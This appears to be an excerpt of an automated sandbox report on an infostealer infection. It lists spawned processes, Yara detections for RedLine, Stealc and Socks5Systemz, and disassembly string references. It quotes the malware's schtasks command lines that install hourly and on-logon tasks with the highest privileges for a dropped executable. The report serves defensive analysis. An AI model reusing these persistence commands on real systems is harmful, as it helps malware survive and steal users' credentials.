Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.2717483187.00000000027D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.2589310760.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.2717483187.00000000028F3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8032 -ip 8032
Imagebase:	0xbd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x840000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2308704967.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:17:27
Start date:	06/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp" /SL5="$20496,3169907,54272,C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe"
Imagebase:	0x400000
File size:	705'536 bytes
MD5 hash:	4D0283F3182C82FB1C52C560BB1A0758
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	02:17:28
Start date:	06/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8024 -ip 8024
Imagebase:	0xbd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:17:28
Start date:	06/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 852
Imagebase:	0xbd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:17:28
Start date:	06/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	02:17:29
Start date:	06/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8024 -s 824
Imagebase:	0xbd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:17:33
Start date:	06/09/2024
Path:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe"
Imagebase:	0xdf0000
File size:	8'684'256 bytes
MD5 hash:	B5887A19FE50BFA32B524AAAD0A453BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	02:17:35
Start date:	06/09/2024
Path:	C:\Users\user\AppData\Local\NewStar\newstar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\NewStar\newstar.exe" -i
Imagebase:	0x400000
File size:	2'257'728 bytes
MD5 hash:	B786E157A1AA82F3B27FA1A61B13C39B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000027.00000002.3002403298.0000000002C91000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000027.00000002.3002271535.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	02:17:36
Start date:	06/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xe30000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:17:36
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:17:39
Start date:	06/09/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0xb30000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	02:17:38
Start date:	06/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xe30000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	02:17:38
Start date:	06/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:17:41
Start date:	06/09/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0xb30000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	02:17:38
Start date:	06/09/2024
Path:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Imagebase:	0xbc0000
File size:	8'684'256 bytes
MD5 hash:	B5887A19FE50BFA32B524AAAD0A453BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 79%, ReversingLabs Detection: 72%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	02:17:41
Start date:	06/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	111
Start time:	02:18:33
Start date:	06/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	29.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	85
Total number of Limit Nodes:	3

Executed Functions

Function 05DF0007 Relevance: 424.7, Strings: 335, Instructions: 5962
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 05DF42CD
", xrefs: 05DF311E
I, xrefs: 05DF3E85
+, xrefs: 05DF1A74
9, xrefs: 05DF09D2
W, xrefs: 05DF0115
:, xrefs: 05DF202A
b, xrefs: 05DF07D2
N, xrefs: 05DF2AF6
WNnA, xrefs: 05DF3B23
4, xrefs: 05DF3300
Kn(B, xrefs: 05DF0522
<, xrefs: 05DF0210
b, xrefs: 05DF416D
;, xrefs: 05DF2F8E
2, xrefs: 05DF129C
Y, xrefs: 05DF28F2
c, xrefs: 05DF4C75
", xrefs: 05DF0A38
dmB, xrefs: 05DF5569
8, xrefs: 05DF05CE
2, xrefs: 05DF0155
N, xrefs: 05DF1C2A
P, xrefs: 05DF2D2C
X, xrefs: 05DF5B37
!, xrefs: 05DF4D97
Q, xrefs: 05DF5881
N, xrefs: 05DF3E1B
2, xrefs: 05DF3E9D
N, xrefs: 05DF542B
W, xrefs: 05DF3953
+, xrefs: 05DF4193
/, xrefs: 05DF405D
X, xrefs: 05DF347C
P, xrefs: 05DF06E0
9, xrefs: 05DF43CB
;, xrefs: 05DF1B94
A, xrefs: 05DF47C5
8, xrefs: 05DF32BE
!, xrefs: 05DF0186
D, xrefs: 05DF2964
-\TB, xrefs: 05DF2048
5, xrefs: 05DF20B2
9, xrefs: 05DF30A6
E^yB, xrefs: 05DF33D2
:, xrefs: 05DF3424
Q, xrefs: 05DF0AC6
-\TB, xrefs: 05DF5AFD
A, xrefs: 05DF2CB2
5, xrefs: 05DF5B67
WNnA, xrefs: 05DF27FE
#, xrefs: 05DF585D
E, xrefs: 05DF50EF
N, xrefs: 05DF51B1
R, xrefs: 05DF3F9B
3, xrefs: 05DF5319
8, xrefs: 05DF0BAE
3, xrefs: 05DF2C5E
E, xrefs: 05DF163A
W, xrefs: 05DF4CE9
Y, xrefs: 05DF14F8
A, xrefs: 05DF20A6
Y, xrefs: 05DF3C17
A, xrefs: 05DF536D
ab^?, xrefs: 05DF50FB
G, xrefs: 05DF35EC
8, xrefs: 05DF1EC4
8, xrefs: 05DF4317
Q, xrefs: 05DF0B84
D, xrefs: 05DF3C89
dmB, xrefs: 05DF2EAE
X, xrefs: 05DF0D6C
b, xrefs: 05DF00B2
Kn(B, xrefs: 05DF1722
/, xrefs: 05DF06EA
7, xrefs: 05DF2C02
, xrefs: 05DF2E86
P, xrefs: 05DF1932
:, xrefs: 05DF0D14
#, xrefs: 05DF1DA8
:, xrefs: 05DF4749
L, xrefs: 05DF038E
WNnA, xrefs: 05DF027C
9, xrefs: 05DF5761
2, xrefs: 05DF2696
8, xrefs: 05DF2BEA
C, xrefs: 05DF4089
F, xrefs: 05DF3548
C, xrefs: 05DF0710
c, xrefs: 05DF34F6
8, xrefs: 05DF2FF2
N, xrefs: 05DF2D70
2, xrefs: 05DF4D51
c, xrefs: 05DF25BA
c, xrefs: 05DF345A
4, xrefs: 05DF4625
G, xrefs: 05DF5CA7
9, xrefs: 05DF53CD
!, xrefs: 05DF3A01
8, xrefs: 05DF45E3
/, xrefs: 05DF2D38
+, xrefs: 05DF2E6E
`, xrefs: 05DF4531
=, xrefs: 05DF55A3
9, xrefs: 05DF3BFF
J, xrefs: 05DF3CBF
3, xrefs: 05DF0630
R, xrefs: 05DF0644
W, xrefs: 05DF31F2
", xrefs: 05DF1D24
B, xrefs: 05DF0286
/, xrefs: 05DF193E
E^yB, xrefs: 05DF46F7
b, xrefs: 05DF2E48
R, xrefs: 05DF5B7F
V, xrefs: 05DF5869
WNnA, xrefs: 05DF4EB9
=, xrefs: 05DF0858
", xrefs: 05DF4443
C, xrefs: 05DF541F
!, xrefs: 05DF0D08
.!%B, xrefs: 05DF0894
*, xrefs: 05DF5789
hkB, xrefs: 05DF3DE3
/, xrefs: 05DF3AD3
E, xrefs: 05DF3D59
7, xrefs: 05DF52BD
:, xrefs: 05DF5ADF
, xrefs: 05DF41AB
B, xrefs: 05DF4EC5
V, xrefs: 05DF0AB2
D, xrefs: 05DF03AC
I, xrefs: 05DF1576
R, xrefs: 05DF20CA
b, xrefs: 05DF4C45
R, xrefs: 05DF34C4
A, xrefs: 05DF34A0
#, xrefs: 05DF44C7
3, xrefs: 05DF1864
N, xrefs: 05DF1976
V, xrefs: 05DF44D3
V, xrefs: 05DF1DB4
, xrefs: 05DF5541
9, xrefs: 05DF0798
, xrefs: 05DF0806
c, xrefs: 05DF20FC
2, xrefs: 05DF2B78
4, xrefs: 05DF0BF0
E^yB, xrefs: 05DF5A8D
J, xrefs: 05DF299A
b, xrefs: 05DF1A4E
+, xrefs: 05DF07F2
<, xrefs: 05DF4E39
W, xrefs: 05DF1DF8
I, xrefs: 05DF055A
W, xrefs: 05DF4517
c, xrefs: 05DF481B
2, xrefs: 05DF5233
a, xrefs: 05DF1BAE
b, xrefs: 05DF5503
!, xrefs: 05DF473D
I, xrefs: 05DF2B60
<, xrefs: 05DF3AA3
c, xrefs: 05DF0DE6
.!%B, xrefs: 05DF4253
F, xrefs: 05DF5C03
R, xrefs: 05DF187C
9, xrefs: 05DF1A0C
ab^?, xrefs: 05DF3D65
E, xrefs: 05DF045E
ab^?, xrefs: 05DF2A40
J, xrefs: 05DF03DA
N, xrefs: 05DF0502
8, xrefs: 05DF56AD
E^yB, xrefs: 05DF0CC2
, xrefs: 05DF1A8C
c, xrefs: 05DF11C0
9, xrefs: 05DF4037
hkB, xrefs: 05DF2ABE
I, xrefs: 05DF502B
hkB, xrefs: 05DF16C4
P, xrefs: 05DF4051
2, xrefs: 05DF177E
ab^?, xrefs: 05DF1646
I, xrefs: 05DF03B6
I, xrefs: 05DF521B
Kn(B, xrefs: 05DF2B1C
A, xrefs: 05DF0D90
I, xrefs: 05DF1766
;, xrefs: 05DF5649
a, xrefs: 05DF08FC
Y, xrefs: 05DF4FAD
", xrefs: 05DF3DFD
!, xrefs: 05DF3418
Q, xrefs: 05DF1DCC
4, xrefs: 05DF1F06
=, xrefs: 05DF2EE8
N, xrefs: 05DF16FC
4, xrefs: 05DF59BB
-\TB, xrefs: 05DF0D32
8, xrefs: 05DF5979
7, xrefs: 05DF05E2
C, xrefs: 05DF196A
!, xrefs: 05DF26DC
X, xrefs: 05DF47A1
;, xrefs: 05DF08E6
F, xrefs: 05DF214E
W, xrefs: 05DF0AEC
#, xrefs: 05DF31A2
<, xrefs: 05DF1384
`, xrefs: 05DF320C
c, xrefs: 05DF0D4A
Q, xrefs: 05DF594F
C, xrefs: 05DF2D64
Q, xrefs: 05DF1E9A
/, xrefs: 05DF4E69
a, xrefs: 05DF5663
W, xrefs: 05DF1234
`, xrefs: 05DF1E12
", xrefs: 05DF04E8
B, xrefs: 05DF1410
<, xrefs: 05DF277E
N, xrefs: 05DF56DF
b, xrefs: 05DF258A
a, xrefs: 05DF2FA8
N, xrefs: 05DF4349
Q, xrefs: 05DF44EB
L, xrefs: 05DF3C65
L, xrefs: 05DF2940
", xrefs: 05DF57D9
", xrefs: 05DF16DE
2, xrefs: 05DF39BB
8, xrefs: 05DF093A
L, xrefs: 05DF1546
!, xrefs: 05DF12E2
X, xrefs: 05DF2082
F, xrefs: 05DF486D
F, xrefs: 05DF0E38
/, xrefs: 05DF53F3
9, xrefs: 05DF4F95
Kn(B, xrefs: 05DF3E41
c, xrefs: 05DF38DF
G, xrefs: 05DF4911
N, xrefs: 05DF0964
Q, xrefs: 05DF45B9
3, xrefs: 05DF3F83
/, xrefs: 05DF27AE
7, xrefs: 05DF3F27
9, xrefs: 05DF54C1
R, xrefs: 05DF0DB4
Q, xrefs: 05DF31C6
7, xrefs: 05DF1808
*, xrefs: 05DF09F4
;, xrefs: 05DF42B3
R, xrefs: 05DF47E9
8, xrefs: 05DF1BF8
D, xrefs: 05DF156A
c, xrefs: 05DF2060
WNnA, xrefs: 05DF1404
8, xrefs: 05DF52A5
A, xrefs: 05DF18B8
W, xrefs: 05DF262E
D, xrefs: 05DF501F
!, xrefs: 05DF5AD3
5, xrefs: 05DF0D9C
9, xrefs: 05DF0338
dmB, xrefs: 05DF1AB4
9, xrefs: 05DF1918
9, xrefs: 05DF14E0
hkB, xrefs: 05DF5179
*, xrefs: 05DF1CD4
G, xrefs: 05DF0EDC
!, xrefs: 05DF201E
5, xrefs: 05DF34AC
/, xrefs: 05DF13B4
9, xrefs: 05DF2D12
ab^?, xrefs: 05DF0468
Kn(B, xrefs: 05DF51D7
-\TB, xrefs: 05DF3442
`, xrefs: 05DF58C7
J, xrefs: 05DF15A0
=, xrefs: 05DF420D
R, xrefs: 05DF2C76
*, xrefs: 05DF43F3
L, xrefs: 05DF4FFB
-\TB, xrefs: 05DF4767
.!%B, xrefs: 05DF2F2E
9, xrefs: 05DF412B
", xrefs: 05DF2AD8
N, xrefs: 05DF4095
B, xrefs: 05DF280A
+, xrefs: 05DF5529
c, xrefs: 05DF5BB1
", xrefs: 05DF5193
A, xrefs: 05DF3FD7
Y, xrefs: 05DF034C
V, xrefs: 05DF31AE
2, xrefs: 05DF056E
I, xrefs: 05DF2970
9, xrefs: 05DF1CAC
b, xrefs: 05DF1190
A, xrefs: 05DF0678
P, xrefs: 05DF53E7
Q, xrefs: 05DF3294
8, xrefs: 05DF3F0F
N, xrefs: 05DF071A
A, xrefs: 05DF5B5B
9, xrefs: 05DF28DA
B, xrefs: 05DF3B2F
.!%B, xrefs: 05DF1B34
c, xrefs: 05DF00CE
I, xrefs: 05DF3C95
c, xrefs: 05DF5B15
=, xrefs: 05DF1AEE
R, xrefs: 05DF5331
/, xrefs: 05DF0238
*, xrefs: 05DF30CE
dmB, xrefs: 05DF0828
9, xrefs: 05DF06CA
J, xrefs: 05DF5055
b, xrefs: 05DF38AF
`, xrefs: 05DF0B02
hkB, xrefs: 05DF04D2
W, xrefs: 05DF58AD
E, xrefs: 05DF2A34
#, xrefs: 05DF0AA8
5, xrefs: 05DF47D1
E^yB, xrefs: 05DF1FD8
c, xrefs: 05DF477F
9, xrefs: 05DF2E06
N, xrefs: 05DF3024
G, xrefs: 05DF21F2
dmB, xrefs: 05DF41D3
.!%B, xrefs: 05DF55E9
8, xrefs: 05DF17F0

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID:
String ID: dmB$dmB$dmB$dmB$dmB$ $ $ $ $ $!$!$!$!$!$!$!$!$!$!$"$"$"$"$"$"$"$"$"$"$#$#$#$#$#$*$*$*$*$*$+$+$+$+$+$-\TB$-\TB$-\TB$-\TB$-\TB$.!%B$.!%B$.!%B$.!%B$.!%B$/$/$/$/$/$/$/$/$/$/$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$4$4$4$4$4$5$5$5$5$5$7$7$7$7$7$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$:$:$:$:$:$;$;$;$;$;$<$<$<$<$<$=$=$=$=$=$A$A$A$A$A$A$A$A$A$A$B$B$B$B$B$C$C$C$C$C$D$D$D$D$D$E$E$E$E$E$E^yB$E^yB$E^yB$E^yB$E^yB$F$F$F$F$F$G$G$G$G$G$I$I$I$I$I$I$I$I$I$I$J$J$J$J$J$Kn(B$Kn(B$Kn(B$Kn(B$Kn(B$L$L$L$L$L$N$N$N$N$N$N$N$N$N$N$N$N$N$N$N$P$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$V$V$V$V$V$W$W$W$W$W$W$W$W$W$W$WNnA$WNnA$WNnA$WNnA$WNnA$X$X$X$X$X$Y$Y$Y$Y$Y$`$`$`$`$`$a$a$a$a$a$ab^?$ab^?$ab^?$ab^?$ab^?$b$b$b$b$b$b$b$b$b$b$c$c$c$c$c$c$c$c$c$c$c$c$c$c$c$hkB$hkB$hkB$hkB$hkB
API String ID: 0-1835722386
Opcode ID: 2d8547f72ba57a8acab1250b0409d812904ccdba29bd8bee61a28f071f364488
Instruction ID: ad227f435124740c2c853a115d939019b7d4b9e67625148c3f0849da7551fb66
Opcode Fuzzy Hash: 2d8547f72ba57a8acab1250b0409d812904ccdba29bd8bee61a28f071f364488
Instruction Fuzzy Hash: BFA396B4D46669CBDB20CF25E944BEAFAB1EB56344F01B1E9D408B3640D7799EC48F08

Function 05DF0040 Relevance: 424.7, Strings: 335, Instructions: 5939
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 05DF42CD
", xrefs: 05DF311E
I, xrefs: 05DF3E85
+, xrefs: 05DF1A74
9, xrefs: 05DF09D2
W, xrefs: 05DF0115
:, xrefs: 05DF202A
b, xrefs: 05DF07D2
N, xrefs: 05DF2AF6
WNnA, xrefs: 05DF3B23
4, xrefs: 05DF3300
Kn(B, xrefs: 05DF0522
<, xrefs: 05DF0210
b, xrefs: 05DF416D
;, xrefs: 05DF2F8E
2, xrefs: 05DF129C
Y, xrefs: 05DF28F2
c, xrefs: 05DF4C75
", xrefs: 05DF0A38
dmB, xrefs: 05DF5569
8, xrefs: 05DF05CE
2, xrefs: 05DF0155
N, xrefs: 05DF1C2A
P, xrefs: 05DF2D2C
X, xrefs: 05DF5B37
!, xrefs: 05DF4D97
Q, xrefs: 05DF5881
N, xrefs: 05DF3E1B
2, xrefs: 05DF3E9D
N, xrefs: 05DF542B
W, xrefs: 05DF3953
+, xrefs: 05DF4193
/, xrefs: 05DF405D
X, xrefs: 05DF347C
P, xrefs: 05DF06E0
9, xrefs: 05DF43CB
;, xrefs: 05DF1B94
A, xrefs: 05DF47C5
8, xrefs: 05DF32BE
!, xrefs: 05DF0186
D, xrefs: 05DF2964
-\TB, xrefs: 05DF2048
5, xrefs: 05DF20B2
9, xrefs: 05DF30A6
E^yB, xrefs: 05DF33D2
:, xrefs: 05DF3424
Q, xrefs: 05DF0AC6
-\TB, xrefs: 05DF5AFD
A, xrefs: 05DF2CB2
5, xrefs: 05DF5B67
WNnA, xrefs: 05DF27FE
#, xrefs: 05DF585D
E, xrefs: 05DF50EF
N, xrefs: 05DF51B1
R, xrefs: 05DF3F9B
3, xrefs: 05DF5319
8, xrefs: 05DF0BAE
3, xrefs: 05DF2C5E
E, xrefs: 05DF163A
W, xrefs: 05DF4CE9
Y, xrefs: 05DF14F8
A, xrefs: 05DF20A6
Y, xrefs: 05DF3C17
A, xrefs: 05DF536D
ab^?, xrefs: 05DF50FB
G, xrefs: 05DF35EC
8, xrefs: 05DF1EC4
8, xrefs: 05DF4317
Q, xrefs: 05DF0B84
D, xrefs: 05DF3C89
dmB, xrefs: 05DF2EAE
X, xrefs: 05DF0D6C
b, xrefs: 05DF00B2
Kn(B, xrefs: 05DF1722
/, xrefs: 05DF06EA
7, xrefs: 05DF2C02
, xrefs: 05DF2E86
P, xrefs: 05DF1932
:, xrefs: 05DF0D14
#, xrefs: 05DF1DA8
:, xrefs: 05DF4749
L, xrefs: 05DF038E
WNnA, xrefs: 05DF027C
9, xrefs: 05DF5761
2, xrefs: 05DF2696
8, xrefs: 05DF2BEA
C, xrefs: 05DF4089
F, xrefs: 05DF3548
C, xrefs: 05DF0710
c, xrefs: 05DF34F6
8, xrefs: 05DF2FF2
N, xrefs: 05DF2D70
2, xrefs: 05DF4D51
c, xrefs: 05DF25BA
c, xrefs: 05DF345A
4, xrefs: 05DF4625
G, xrefs: 05DF5CA7
9, xrefs: 05DF53CD
!, xrefs: 05DF3A01
8, xrefs: 05DF45E3
/, xrefs: 05DF2D38
+, xrefs: 05DF2E6E
`, xrefs: 05DF4531
=, xrefs: 05DF55A3
9, xrefs: 05DF3BFF
J, xrefs: 05DF3CBF
3, xrefs: 05DF0630
R, xrefs: 05DF0644
W, xrefs: 05DF31F2
", xrefs: 05DF1D24
B, xrefs: 05DF0286
/, xrefs: 05DF193E
E^yB, xrefs: 05DF46F7
b, xrefs: 05DF2E48
R, xrefs: 05DF5B7F
V, xrefs: 05DF5869
WNnA, xrefs: 05DF4EB9
=, xrefs: 05DF0858
", xrefs: 05DF4443
C, xrefs: 05DF541F
!, xrefs: 05DF0D08
.!%B, xrefs: 05DF0894
*, xrefs: 05DF5789
hkB, xrefs: 05DF3DE3
/, xrefs: 05DF3AD3
E, xrefs: 05DF3D59
7, xrefs: 05DF52BD
:, xrefs: 05DF5ADF
, xrefs: 05DF41AB
B, xrefs: 05DF4EC5
V, xrefs: 05DF0AB2
D, xrefs: 05DF03AC
I, xrefs: 05DF1576
R, xrefs: 05DF20CA
b, xrefs: 05DF4C45
R, xrefs: 05DF34C4
A, xrefs: 05DF34A0
#, xrefs: 05DF44C7
3, xrefs: 05DF1864
N, xrefs: 05DF1976
V, xrefs: 05DF44D3
V, xrefs: 05DF1DB4
, xrefs: 05DF5541
9, xrefs: 05DF0798
, xrefs: 05DF0806
c, xrefs: 05DF20FC
2, xrefs: 05DF2B78
4, xrefs: 05DF0BF0
E^yB, xrefs: 05DF5A8D
J, xrefs: 05DF299A
b, xrefs: 05DF1A4E
+, xrefs: 05DF07F2
<, xrefs: 05DF4E39
W, xrefs: 05DF1DF8
I, xrefs: 05DF055A
W, xrefs: 05DF4517
c, xrefs: 05DF481B
2, xrefs: 05DF5233
a, xrefs: 05DF1BAE
b, xrefs: 05DF5503
!, xrefs: 05DF473D
I, xrefs: 05DF2B60
<, xrefs: 05DF3AA3
c, xrefs: 05DF0DE6
.!%B, xrefs: 05DF4253
F, xrefs: 05DF5C03
R, xrefs: 05DF187C
9, xrefs: 05DF1A0C
ab^?, xrefs: 05DF3D65
E, xrefs: 05DF045E
ab^?, xrefs: 05DF2A40
J, xrefs: 05DF03DA
N, xrefs: 05DF0502
8, xrefs: 05DF56AD
E^yB, xrefs: 05DF0CC2
, xrefs: 05DF1A8C
c, xrefs: 05DF11C0
9, xrefs: 05DF4037
hkB, xrefs: 05DF2ABE
I, xrefs: 05DF502B
hkB, xrefs: 05DF16C4
P, xrefs: 05DF4051
2, xrefs: 05DF177E
ab^?, xrefs: 05DF1646
I, xrefs: 05DF03B6
I, xrefs: 05DF521B
Kn(B, xrefs: 05DF2B1C
A, xrefs: 05DF0D90
I, xrefs: 05DF1766
;, xrefs: 05DF5649
a, xrefs: 05DF08FC
Y, xrefs: 05DF4FAD
", xrefs: 05DF3DFD
!, xrefs: 05DF3418
Q, xrefs: 05DF1DCC
4, xrefs: 05DF1F06
=, xrefs: 05DF2EE8
N, xrefs: 05DF16FC
4, xrefs: 05DF59BB
-\TB, xrefs: 05DF0D32
8, xrefs: 05DF5979
7, xrefs: 05DF05E2
C, xrefs: 05DF196A
!, xrefs: 05DF26DC
X, xrefs: 05DF47A1
;, xrefs: 05DF08E6
F, xrefs: 05DF214E
W, xrefs: 05DF0AEC
#, xrefs: 05DF31A2
<, xrefs: 05DF1384
`, xrefs: 05DF320C
c, xrefs: 05DF0D4A
